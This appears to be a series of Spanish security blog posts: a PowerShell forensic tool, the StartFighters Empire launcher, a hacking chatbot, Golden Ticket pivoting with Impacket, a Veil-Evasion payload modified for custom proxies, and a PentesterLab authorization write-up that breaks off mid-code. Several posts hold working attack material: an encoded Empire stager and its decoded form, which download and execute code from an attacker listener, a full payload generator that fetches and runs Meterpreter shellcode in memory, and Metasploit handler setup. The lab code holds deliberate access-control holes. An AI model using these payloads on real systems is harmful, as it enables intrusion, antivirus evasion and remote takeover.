- son difíciles de detectar porque se basan en herramientas legítimas para realizar actividad maliciosa
- pueden existir sólo en memoria

En el caso de M$, desde Windows 7 y posteriores el proceso conhost.exe es el responsable de abrir cada instancia de una consola de comandos. Es decir, por cada consola se abrirá un nuevo proceso conhost, así que dumpeando esos procesos podremos obtener la entrada y la salida de cada aplicación que es llamada desde la línea de comandos con PowerShell, CMD, Python, Wscript, etc.


Hasta ahora, la forma más común de investigar el historial de comandos ejecutado en las shells durante un forense era utilizar los módulos CMDSCAN y CONSOLES en los frameworks rekall y Volatility, pero no siempre extraen todos los datos disponibles dentro de la sección de memoria del proceso de conhost. Adicionalmente, ejecutar el análisis de memoria utilizando estas herramientas suele ser lento ya que necesita un volcado de memoria completo.
Y otra cosa más: investigar los comandos ejecutados en una consola es más eficaz cuando se lleva a cabo inmediatamente después de que se abrió la consola porque la mayoría de los datos volátiles todavía residen en la memoria.

Es por eso que una herramienta fácil y rápida basada en Powershell será la
mejor opción para nuestro arsenal: por eso nace Get-ShellContent.


Javelin Networks ha creado este script en PowerShell, Get-ShellContent, aprovechando la herramienta Strings2 modificada y cargándola en memoria para extraer todas las cadenas de cualquier proceso en ejecución o descargado.

Este script analiza y parsea la entrada y salida de la shell investigada e incluso obtendrá una visibilidad completa en el búfer de pantalla que usó el atacante, los comandos que escribió y los resultados que recibió, lo ideal para un forense ante un caso y/o incidente!


Get-ShellContent se ejecuta en la memoria, por lo que no son necesarios archivos adicionales para ejecutar la herramienta. Ofrece un método rápido, preciso y escalable para investigar las shells remotas y locales sin ningún problema: la metodología más limpia posible. (Nota: para funcionar remotamente se requiere WinRM).

Extrae el contenido de las siguientes shells de línea de comandos: PowerShell, CMD, Python, Wscript, MySQL Client y algunos shells personalizados, como la consola Mimikatz. En algunos casos, puede ser útil para extraer shells cifrados como el que se utiliza en PowerShell Empire Agent. Se puede apuntar el script directamente al proceso shell en lugar del proceso conhost, o usar el parámetro -Deep.

Uso de Get-ShellContent v1.0, compatible con PowerShell v2.0 y superior, con capacidades remotas con WinRM.

    * Usa -ComputerName [TARGET] para analizar los shells en el punto final de destino remoto.
    * Usa -ProcDump [DumpPath] para analizar el archivo de volcado de proceso (Conhost o Shell).
    * Usa -Deep para escanear el proceso real de la shell para cualquier resto de datos (obtendrás FP).
    * Usa -ProcessID [PID] para analizar procesos específicos (Conhost o Shell); No hay que utilizar el indicador si se desea analizar todos los procesos automáticamente.

Github: https://github.com/JavelinNetworks/IR-Tools/blob/master/Get-ShellContent.ps1

Fuente: http://jblog.javelin-networks.com/blog/cli-powershell/

StartFighters: un launcher de Empire en js/vbs sin necesidad de PowerShell.exe

$
0
0
Siguiendo el hilo de entradas sobre PowerShell hoy traemos StartFighters, un Launcher de Empire en VBScript/Javascript que se ejecuta dentro de su propio Host de PowerShell, embebido en JavaScript mediante DotNetToJScript. Y es que si hace varios días veíamos cómo ejecutar PowerShell sólo con dlls, mediante rundll32, con esta herramienta podremos también ejecutar un agente de Empire sin powershell.exe, sólo ejecutando un script en vbs o js.

Recordemos que el launcher_vbs que trae por defecto Empire llama al stager con powershell.exe -NoP -sta -NonI -W Hidden -Enc ... así que está herramienta puede resultarnos bastante útil en algunos entornos...

1. Para probarla empezaremos levantando un listener en PowerShell Empire (en nuestro caso el mod de Hackplayers).
root@poc1lg4:/tools/powershell/Empire-mod-Hackplayers# ./empire 
[*] Loading modules from: /tools/powershell/Empire-mod-Hackplayers/lib/modules/

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 2.0 Mod: HackPlayers
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================
 __    __       ___       ______  __  ___               
|  |  |  |     /   \     /      ||  |/  /               
|  |__|  |    /  ^  \   |  ,----'|  '  /                
|   __   |   /  /_\  \  |  |     |    <                 
|  |  |  |  /  _____  \ |  `----.|  .  \                
|__|  |__| /__/     \__\ \______||__|\__\               
 _______ .___  ___. .______    __  .______       _______
|   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
|  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__  
|   __|  |  |\/|  | |   ___/  |  | |      /     |   __| 
|  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
|_______||__|  |__| | _|      |__| | _| `._____||_______|  Mod: HackPlayers

       209 modules currently loaded
       0 listeners currently active
       0 agents currently active

(Empire) > listeners
[!] No listeners currently active

(Empire: listeners) > set Host http://192.168.1.180:8888
(Empire: listeners) > options

Listener Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        test                             Listener name.
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  StagingKey        True        5\kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq Staging key for initial agent negotiation.
  Type              True        native                           Listener type (native, pivot, hop, foreign, meter).
  RedirectTarget    False                                        Listener target to redirect to for pivot/hop.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  Host              True        http://192.168.1.180:8888        Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  DefaultProfile    True        /admin/get.php,/news.asp,/login/ Default communication profile for the agent.
                                process.jsp|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Port              True        8888                             Port for the listener.

(Empire: listeners) > execute
[*] Listener 'test' successfully started.
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.1.180:8888            native    5/0.0

2. A continuación ejecutaremos el comando Launcher para generar el código para iniciar el proceso del staging.

(Empire: listeners) > launcher test
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AEUAbQAuAE4ARQBUAC4AUwBFAFIAdgBpAGMAZQBQAE8AaQBuAFQATQBhAE4AYQBHAEUAUgBdADoAOgBFAFgAUABlAEMAVAAxADAAMABDAG8AbgB0AGkATgB1AGUAIAA9ACAAMAA7ACQAdwBDAD0ATgBlAFcALQBPAEIAagBlAEMAVAAgAFMAeQBTAFQARQBtAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBlAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAQwAuAEgAZQBhAEQAZQByAFMALgBBAEQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAHgAWQAgAD0AIABbAFMAeQBzAFQAZQBNAC4ATgBFAHQALgBXAEUAQgBSAEUAcQBVAEUAcwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AeABZADsAJABXAEMALgBQAFIATwBYAHkALgBDAFIARQBkAGUAbgB0AEkAYQBMAFMAIAA9ACAAWwBTAHkAcwB0AEUAbQAuAE4ARQBUAC4AQwBSAEUAZABlAE4AdABpAGEATABDAGEAQwBoAEUAXQA6ADoARABFAEYAYQBVAEwAdABOAEUAVAB3AG8AUgBLAEMAcgBlAEQARQBuAHQAaQBhAEwAcwA7ACQASwA9ACcANQBcAGsAcAB8AE0ALwAmACwASwBlAGQAbAAkAEMAagArAFkAQQB+AFYANgBKAEIAKgBaADQAdwBvAH0AdQBxACcAOwAkAGkAPQAwADsAWwBDAEgAYQBSAFsAXQBdACQAQgA9ACgAWwBDAGgAQQByAFsAXQBdACgAJABXAEMALgBEAE8AVwBuAEwATwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADgAMAA6ADgAOAA4ADgALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABvAHIAJABrAFsAJABJACsAKwAlACQAawAuAEwARQBuAGcAVABIAF0AfQA7AEkARQBYACAAKAAkAGIALQBqAG8ASQBOACcAJwApAA==

Si queréis entender un poquito más qué hace este comando de una única línea podéis decodificar el código en base64:

[SyStEm.NET.SERvicePOinTMaNaGER]::EXPeCT100ContiNue = 0;$wC=NeW-OBjeCT SySTEm.NET.WEBClieNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeaDerS.ADD('User-Agent',$u);$Wc.PrOxY = [SysTeM.NEt.WEBREqUEsT]::DeFAULtWeBPRoxY;$WC.PROXy.CREdentIaLS = [SystEm.NET.CREdeNtiaLCaChE]::DEFaULtNETwoRKCreDEntiaLs;$K='5\kp|M/&,Kedl$Cj+YA~V6JB*Z4wo}uq';$i=0;[CHaR[]]$B=([ChAr[]]($WC.DOWnLOadString("http://192.168.1.180:8888/index.asp")))|%{$_-BXor$k[$I++%$k.LEngTH]};IEX ($b-joIN'')

3. El siguiente paso será pegar el código en base64 como valor de la variable EncodedPayload:

* JavaScript:

  var EncodedPayload = "Pega el código codificado del Launcher aquí"

* VBScript:
 
  Dim EncodedPayload: EncodedPayload = "Pega el código codificado del Launcher aquí"



4. Finalmente, en el equipo del cliente de la víctima ejecutamos: wscript.exe StarFighter.js o StarFighter.vbs, o hacemos doble clic dentro del Explorer para obtener la sesión correspondiente:




Github: https://github.com/Cn33liz/StarFighters

hackerbot: chatea y "hackea" con tu asistente personal

$
0
0
Redes sociales, equipos para CTFs, comunidades, foros... hoy en día es muy raro encontrarse hackers que sean "lobos solitarios", así que el estereotipo "Forever Alone" que los sitúa como frikis que se aislan entorno al PC de su escritorio dista mucho de la realidad...

No obstante, ¿a quién no le gustaría tener (y controlar?) a un asistente ro-bot que te ayude durante un pentest? Sería algo así como comunicarte con Madre a bordo del Nostromo pero como un ayudante que te guía y te da las técnicas y herramientas de hacking necesarias para realizar un intrusión.



Bueno, pues ya tenemos un primer y tímido intento de desarrollar un bot con el que poder chatear tranquilamente y colaborar mientras haces un trabajito. Se trata de hackerbot de Ömer Günal que combina un chatbot con Python AIML y varios módulos con distintas herramientas y utilidades.

Instalación

git clone https://github.com/omergunal/hackerbot
cd hackerbot
chmod +x install.sh
./install.sh


Uso

Python v2.7 requerido

python hackbot.py

argumentos en el chat:
   !help          show what you can do




Como veis es un principio, pero podría ser la piedra de toque para incluir nuevos módulos y tener un verdadero y complejo colega virtual y, quién sabe, algún día decirle "Jeffrey, veme hackeando la NSA que voy un momento a tirar la basura".

Github: https://github.com/omergunal/hackerbot

Pivotando con Golden Tickets en Linux

$
0
0
Ya sabéis que el protocolo Kerberos es el mecanismo preferido para la autenticación en un entorno Windows basado en dominio (DA). Sin entrar en detalle, Kerberos utiliza los tickets conocidos como TGT (Ticket-Granting Ticket) que entrega el KDC (Key Distribution Center) para autenticar usuarios y conceder acceso a cualquier recurso de la red.

Por otro lado, la cuenta KRBTGT se utiliza para cifrar y firmar todos los tickets Kerberos dentro de un dominio y los KDC (normalmente controladores de dominio) utilizan la contraseña de la cuenta para descifrar los tickets Kerberos para su validación. Esta contraseña de cuenta nunca cambia y el nombre de cuenta es el mismo en todos los dominios, por lo que es un objetivo bien conocido para los atacantes.

Si un atacante obtiene el hash de esa cuenta KRBTGT, podrá generar los conocidos Golden Tickets, y entonces podrá impersonar a cualquier usuario y establecer cualquier acceso autenticado persistente y encubierto en el dominio de Windows.

Mimikatz, que desde la versión 2.0 implementa esta técnica, permite crear estos tickets de forma offline con una validez por defecto de 10 años, que pueden ser reusados mediante pass-the-ticket y serán válidos incluso aunque el usuario impersonado cambie la contraseña. La única manera de invalidarlos sería resetear la contraseña utilizada para generar el TGT.

A finales del año pasado, en el blog de Artem Kondratenko, veíamos un pequeño pero útil tutorial para pivotar mediante estos Golden tickets en Linux. El ataque, por lo general, funciona de la siguiente manera:

- El atacante obtiene privilegios de administrador en el dominio
- El atacante extrae el hash ntlm de un usuario de dominio "krbtgt" y obtiene el SID del dominio de destino
- El atacante compone un ticket de kerberos
- Este ticket se utiliza para autenticar en el dominio con privilegios de administrador de dominio

Aquí está un walkthough detallado en cómo utilizar los Golden tickets en Kali Linux.

Empecemos por obtener el hash ntlm de la cuenta KRBTGT. En el ejemplo se utiliza una versión ofuscada de Mimikatz que extrae el hash sin alertar al AV (https://github.com/artkond/bat-armor/blob/master/examples/krbtgt.bat):


Quitando el último número correspondiente al SID (502) obtenemos el SID del dominio S-1-5-21-3251500307-1840725093-2229733580. Ahora para generar el ticket se usa la utilidad ticketer.py de Impacket (https://github.com/CoreSecurity/impacket/blob/master/examples/ticketer.py):


Casi listo. Solo necesitamos exportar la variable del sistema para que psexec.py pueda usar el ticket. Al ejecutar psexec.py es necesario especificar el parámetro -k para la autenticación kerberos:


Lo mismo ocurre con otras herramientas de Impacket como wmiexec.py (que genera menos "ruido" que psexec.py, ya que no carga ningún archivo binario y no inicia ningún servicio) o atexec.py (utiliza las tareas programadas para ejecutar su código):


Ya lo tenemos, pero ¿qué pasa si necesitamos subir algunos archivos? Lo más probable es que queramos utilizar smbclient para esta tarea. Usar kerberos con smbclient es un poco más complicado. Primero tenemos que agregar el realm de kerberos al archivo de configuración localizado en /etc/krb5.conf. En caso de que no tengamos krb5.conf, tendremos que instalar el paquete krb5-user desde el repo de la distro correspondiente.

[realms]
PENTESTO.LOC = {
kdc = tcp/dc01:88
}
Es preferible usar TCP ya que permitirá tunelizar las solicitudes al servidor kerberos sobre proxy socks si queremos pivotar. El realm ha de estar en mayúsculas.


Pivotando

El uso de tickets kerberos sobre túnel socks requiere también un poco más de trabajo. Lo más probable es que no tengamos acceso directo a los servidores de nombres del directorio activo, por lo que debemos editar el archivo /etc/hosts y agregar el servidor de destino, el controlador de dominio (que también es servidor kerberos) y el FQDN del dominio. Esto es necesario porque kerberos sólo funciona con nombres de host y fallará si se especifica la dirección IP.

$ cat /etc/hosts
...
10.0.0.89 pentesto.loc
10.0.0.89 dc01
...
En el ejemplo, el servidor de destino es el controlador de dominio. Hay que editar proxychains, agregar el proxy socks y comentar la directiva proxy_dns:

$ cat proxychains.conf
...
#Proxy DNS requests - no leak for DNS data
#proxy_dns
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 172.16.46.157 3128
En caso de que hayamos configurado /etc/hosts y /etc/krb5.conf correctamente no deberíamos tener problemas para ejecutar smbclient o psexec.py sobre un proxy socks:



Por último recordar que el nombre de dominio y el nombre de usuario que se proporcionan a psexec.py deben ser exactamente los mismos que se pusieron al crear el ticket con ticketer.py.

"I never thought my life could be...anything but catastrophe...but suddenly I begin to see a bit of good luck for me...'cause I've got a golden ticket...I've a golden twinkle in my eye".
-Grandpa Joe

FuentePivoting kerberos golden tickets in Linux

Veil a través de custom proxies

$
0
0
Cuando generamos payloads en Veil-Evasion tenemos la posibilidad de indicar que la sesión de Meterpreter se realice a través del proxy configurado en el sistema. Pero, ¿y si el equipo de la víctima, normalmente un servidor, no tiene configurado ninguno (que en entornos reales suele ser lo normal) o simplemente queremos configurar que nuestro payload utilice otro proxy distinto?

No hay problema, mediante una sencilla modificación en los payloads podemos setear el proxy que queramos, incluso con autenticación.

A continuación os dejo un ejemplo para el payload en Powershell. Para ello copiamos primero el original:

./Veil-Evasion/modules/payloads/powershell/meterpreter# cp rev_https.py rev_https_ori.py

Y modificamos rev_https.py sustituyendo el código por este:
"""

Custom-written pure powershell meterpreter/reverse_https stager.

Module by @harmj0y
Custom proxy support added by @CuriositySec

"""

from modules.common import helpers


class Payload:

    def __init__(self):
        # required options
        self.description = "pure windows/meterpreter/reverse_https stager, no shellcode"
        self.rating = "Excellent"
        self.language = "powershell"
        self.extension = "bat"

        # optional
        self.required_options = {
                                    "LHOST" : ["", "IP of the Metasploit handler"],
                                    "LPORT" : ["443", "Port of the Metasploit handler"],
                                    "PROXY" : ["N", "S=Use system proxy settings, C=Custom proxy without authentication, A=Custom proxy authentication domain"],
                                    "PROXY_HOST" : ["http://127.0.0.1:8080", "Custom Proxy"],
                                    "PROXY_USER" : ["User1", "User domain"],
                                    "PROXY_PASSWORD" : ["123456", "Password domain"],
                                    "PROXY_DOMAIN" : ["CORP", "Domain user"],

                                    "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."],
                                    "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"],
                                    "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"]
                                }


    def generate(self):
        if self.required_options["PROXY"][0] == "S":
                proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
        elif self.required_options["PROXY"][0] == "C":
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$m.proxy=$pr;"
        elif self.required_options["PROXY"][0] == "A":
                protocol,ip,port = self.required_options["PROXY_HOST"][0].split(":")
                proxyString = "$pr = New-Object System.Net.WebProxy(\'"+self.required_options["PROXY_HOST"][0]+"\',$true);$c = New-Object Net.NetworkCredential(\'"+self.required_options["PROXY_USER"][0]+"\',\'"+self.required_options["PROXY_PASSWORD"][0]+"\',\'"+self.required_options["PROXY_DOMAIN"][0]+"\');$c = $c.GetCredential(\'"+protocol+":"+ip+"\',\'"+port+"\', \'KERBEROS\');$pr.Credentials = $c;$m.proxy=$pr;"
       
        baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
                                                                              "" if self.required_options["PROXY"][0] == "N" else proxyString,
                                                                              self.required_options["USER_AGENT"][0],
                                                                              self.required_options["LHOST"][0],
                                                                              self.required_options["LPORT"][0],
                                                                              "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
        encoded = helpers.deflate(baseString)
        payloadCode = "@echo off\n"
        payloadCode += "if %PROCESSOR_ARCHITECTURE%==x86 ("
        payloadCode += "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
        payloadCode += ") else ("
        payloadCode += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)

        return payloadCode

Ahora simplemente arrancamos Veil:


Listamos los payloads presentes ('list') y seleccionamos el que hemos modificado ('23'):


A continuación vemos las opciones del módulo cargado. Sólo tenemos que indicar el host donde tendremos el listener levantado esperando para enviarle el stage de Meterpreter: 


En el ejemplo configuraremos el payload para que utiliza el proxy 127.0.0.1 en el puerto 8080 sin autenticación:


Después de indicar 'generate' obtendremos el payload generado:


Hay que tener en cuenta que el payload de Veil es sólo la primera fase para establecer la sesión de Meterpreter, la del stager. Posteriormente se enviará el stage y éste debe configurarse para usar también el proxy.

Para ello en la máquina del atacante ejecutaremos lo siguiente:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > advanced (para ver las opciones disponibles)

...

msf exploit(handler) > set PayloadProxyHost 127.0.0.1
PayloadProxyHost => 127.0.0.1
msf exploit(handler) > set PayloadProxyPort 8080
PayloadProxyPort => 8080
msf exploit(handler) > set LHOST 192.168.1.114
LHOST => 192.168.1.114
msf exploit(handler) > set LPORT 8444
LPORT => 8444



Al ejecutarlo en la máquina de la víctima obtendremos la sesión de meterpreter:


Y cómo podéis observar, las peticiones son enviadas a través del proxy seleccionado:



Contribución gracias a Sebastián Cornejo @CuriositySec

[Pentesterlab write-up] Web For Pentester II - Authorization & Mass Assignment

$
0
0
Continuamos con dos bloques más del lab 'Web for Pentester II',  esta vez con ejercicios para:

- explotar malas implementaciones en el esquema de autorización del aplicativo, que permiten acceder a información (URLs) que debería estar restringida, al menos sin previa autenticación.

- manipular registros de la aplicación para modificar elementos a los que el usuario normalmente no debería tener acceso, como contraseñas, permisos o roles. Es lo que se conoce como Mass Assignment.

Como veréis estos ejercicios son bastante sencillitos (quizás demasiado) y no requieren apenas esfuerzo, pero os recomiendo echarle al menos un vistazo rápido.


AUTHORIZATION

Ejercicio 1:

El primero ejemplo es un fallo común en el desarrollo web, el desarrollador creó la página de inicio de sesión pero no bloqueó las páginas que tienen información sensible a través de cookies u otros tokens de seguridad, esto significa que cualquiera que sepa la ruta (o la obtenga mediante un crawling o fuzzing de directorios) puede acceder sin autenticación.

http://vulnerable/authorization/example1



En esta ocasión no hace falta ni tirarle un wfuzz o un dirb, la URL es totalmente predecible:

http://vulnerable/authorization/example1/infos/2

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class AuthorizationExample1 < PBase

def self.db
"authorization_example1"
end



ActiveRecord::Base.configurations[db] = {
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:password => "pentesterlab",
:database => AuthorizationExample1.db
}

SEED = "MagicS33d_AuthorizationExample1"
class User < ActiveRecord::Base
establish_connection AuthorizationExample1.db
end

class Info < ActiveRecord::Base
establish_connection AuthorizationExample1.db
end


configure {
recreate() if $dev
ActiveRecord::Base.establish_connection AuthorizationExample1.db
unless ActiveRecord::Base.connection.table_exists?("#{db}.infos")
ActiveRecord::Migration.class_eval do
create_table "#{AuthorizationExample1.db}.infos" do |t|
t.string :title
t.text :details
end
end
end

unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
ActiveRecord::Migration.class_eval do
create_table "#{AuthorizationExample1.db}.users" do |t|
t.string :username
t.string :password
end
end
end


User.create(:username => 'user1', :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
Info.create(:title => "Confidential", :details => "Do not share")
Info.create(:title => "Confidential 2", :details => "Do not redistribute")
}




def self.path
"/authorization/example1/"
end



set :views, File.join(File.dirname(__FILE__), 'example1', 'views')
use Rack::Session::Sequel

get '/' do
@infos = Info.all
if session[:user] and User.find(session[:user])
return erb :index
end
if params['username'] && params['password']
@user = User.where( :username => params['username'].to_s,
:password => Digest::MD5.hexdigest(SEED+params['password']+SEED)).first
if @user
session[:user] = @user
return erb :index
end
end
erb :login
end

get "/logout" do
session.clear
redirect "#{AuthorizationExample1.path}"
end

get "/infos/:id" do
@info = Info.find(params[:id].to_s)
erb :info
end
end

Ejercicio 2:

En el siguiente ejercicio el desarrollador corrigió el problema anterior por lo que no accederemos al recurso si no nos hemos loggeado anteriormente. Sin embargo, lo que no hizo correctamente es bloquear el acceso a las páginas según el valor de la cookie o mediante cualquier otra manera, por lo que si iniciamos sesión podemos acceder a la información de cualquier otra cuenta de usuario.

http://vulnerable/authorization/example2/infos/2


http://vulnerable/authorization/example2/infos/3

SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class AuthorizationExample2 < PBase

def self.db
"authorization_example2"
end

ActiveRecord::Base.configurations[db] = {
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:password => "pentesterlab",
:database => AuthorizationExample2.db
}


SEED = "MagicS33d_AuthorizationExample2"
class User < ActiveRecord::Base
establish_connection AuthorizationExample2.db
has_many :infos
end

class Info < ActiveRecord::Base
establish_connection AuthorizationExample2.db
belongs_to :user
end

configure {
recreate() if $dev
ActiveRecord::Base.establish_connection AuthorizationExample2.db
unless ActiveRecord::Base.connection.table_exists?("#{db}.infos")
ActiveRecord::Migration.class_eval do
create_table "#{AuthorizationExample2.db}.infos" do |t|
t.string :title
t.text :details
t.integer :user_id
end
end
end

unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
ActiveRecord::Migration.class_eval do
create_table "#{AuthorizationExample2.db}.users" do |t|
t.string :username
t.string :password
end
end
end


user1 = User.create(:username => 'user1', :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
user1.infos << Info.new(:title => "Confidential user1", :details => "Do not share")
user1.infos << Info.new(:title => "Confidential user1 (2)", :details => "Do not redistribute")

user2 = User.create(:username => 'user2', :password => Digest::MD5.hexdigest(SEED+"unkn0wn"+SEED))
user2.infos << Info.new(:title => "Confidential user2", :details => "Do not share")
user2.infos << Info.new(:title => "Confidential user2 (2)", :details => "Do not redistribute")
}




def self.path
"/authorization/example2/"
end



set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
use Rack::Session::Sequel

get '/' do
if params['username'] && params['password']
@user = User.where( :username => params['username'].to_s,
:password => Digest::MD5.hexdigest(SEED+params['password']+SEED)).first
if @user
session[:user] = @user
@infos = @user.infos
return erb :index
end
elsif session[:user]
@user = User.find(session[:user])
@infos = @user.infos
return erb :index
end
erb :login
end

get "/logout" do
session.clear
redirect "#{AuthorizationExample2.path}"
end

get "/infos/:id" do
if session[:user] and User.find(session[:user])
@info = Info.find(params[:id].to_s)
erb :info
else
session.clear
redirect "#{AuthorizationExample2.path}"
end
end
end
Ejercicio 3: 
Este ejemplo sigue el hilo de los anteriores. Esta vez no podemos acceder a la información de otros usuarios... pero si podemos editarla. Sólo tenemos que ir a la página de edición de la cuenta user1 y cambiar el valor en la URL:
 
http://vulnerable/authorization/example3/infos/edit/1
  
http://vulnerable/authorization/example3/infos/edit/3
  
SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class AuthorizationExample3 < PBase

def self.db
"authorization_example3"
end

ActiveRecord::Base.configurations[db] = {
:adapter => "mysql2",
:host => "localhost",
:username => "pentesterlab",
:password => "pentesterlab",
:database => AuthorizationExample3.db
}


SEED = "MagicS33d_AuthorizationExample3"
class User < ActiveRecord::Base
establish_connection AuthorizationExample3.db
has_many :infos
end

class Info < ActiveRecord::Base
establish_connection AuthorizationExample3.db
belongs_to :user
attr_protected :user_id
end

configure {
recreate() if $dev
ActiveRecord::Base.establish_connection AuthorizationExample3.db
unless ActiveRecord::Base.connection.table_exists?("#{db}.infos")
ActiveRecord::Migration.class_eval do
create_table "#{AuthorizationExample3.db}.infos" do |t|
t.string :title
t.text :details
t.integer :user_id
end
end
end

unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
ActiveRecord::Migration.class_eval do
create_table "#{AuthorizationExample3.db}.users" do |t|
t.string :username
t.string :password
end
end
end


user1 = User.create(:username => 'user1', :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
user1.infos << Info.new(:title => "Confidential user1", :details => "Do not share")
user1.infos << Info.new(:title => "Confidential user1 (2)", :details => "Do not redistribute")

user2 = User.create(:username => 'user2', :password => Digest::MD5.hexdigest(SEED+"unkn0wn"+SEED))
user2.infos << Info.new(:title => "Confidential user2", :details => "Do not share")
user2.infos << Info.new(:title => "Confidential user2 (2)", :details => "Do not redistribute")
}




def self.path
"/authorization/example3/"
end



set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
use Rack::Session::Sequel

get '/' do
if params['username'] && params['password']
@user = User.where( :username => params['username'].to_s,
:password => Digest::MD5.hexdigest(SEED+params['password']+SEED)).first
if @user
session[:user] = @user
@infos = @user.infos
return erb :index
end
elsif session[:user]
@user = User.find(session[:user])
@infos = @user.infos
return erb :index
end
erb :login
end

get "/logout" do
session.clear
redirect "#{AuthorizationExample3.path}"
end

get "/infos/:id" do
if session[:user]
@user = User.find(session[:user])
@info = Info.find(params[:id].to_s)
if @user and @user.infos.include? @info
erb :info
else
session.clear
redirect "#{AuthorizationExample3.path}"
end
else
session.clear
redirect "#{AuthorizationExample3.path}"
end
end

get "/infos/edit/:id" do

if session[:user]
@user = User.find(session[:user])
@info = Info.find(params[:id].to_s)
if @user and @info
erb :edit_info
else
